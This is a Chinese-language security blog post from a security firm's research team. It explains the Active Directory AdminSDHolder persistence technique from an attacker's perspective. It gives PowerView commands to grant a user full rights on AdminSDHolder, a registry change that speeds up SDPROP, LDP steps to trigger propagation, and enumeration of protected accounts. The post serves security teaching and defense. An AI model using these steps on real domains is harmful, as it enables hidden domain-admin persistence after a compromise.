技术分享 | 域渗透AdminSDHolder

2021-03-11 5,948

AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板。Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。

本文由锦行科技的安全研究团队提供,旨在从攻击者的视角还原AdminSDHolder的渗透过程。




配置


1、添加:

在域控上操作AdminSDHolder对象的ACL

添加用户test对AdminSDHolder的完全访问权限

powerview:

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All

*由于SDPROP的原因,默认等待60分钟之后生效



2、验证:

Powerview:

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-363618500-3918876104-3124729890-1139"} | select objectdn,ActiveDirectoryRights |sort -Unique


ADSI:



3、删除:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity test -Rights All -Verbose




SUPROP

为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。


1、注册表SDPROP运营频率: 

修改成等待60秒

reg add hklmSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60


2、手动触发SDPROP进程: 

运行->LDP.exe->菜单>连接->连接->服务器输入当前的机器名,端口默认为389

然后连接->绑定凭证->作为当前登录的用户绑定->然后浏览->修改,在属性选项卡中输入FixUpInheritance。在值字段中输入Yes。操作选择添加,然后单击输入,最后运行即可,运行。





利用场景

已经获得域控权限,利用AdminSDHolder来进行权限维持,或者寻找受保护AD账户为目标。


枚举受保护AD账户

Get-NetUser -AdminCount |select samaccountname


登录test用户,可以看到test非域管组,却能执行域管权限的命令。



推荐阅读






锦行,

致力于成为最值得信赖的网络安全企业


本文作者:锦行科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/154750.html

Tags:
评论  (0)
快来写下你的想法吧!

锦行科技

文章数:14 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号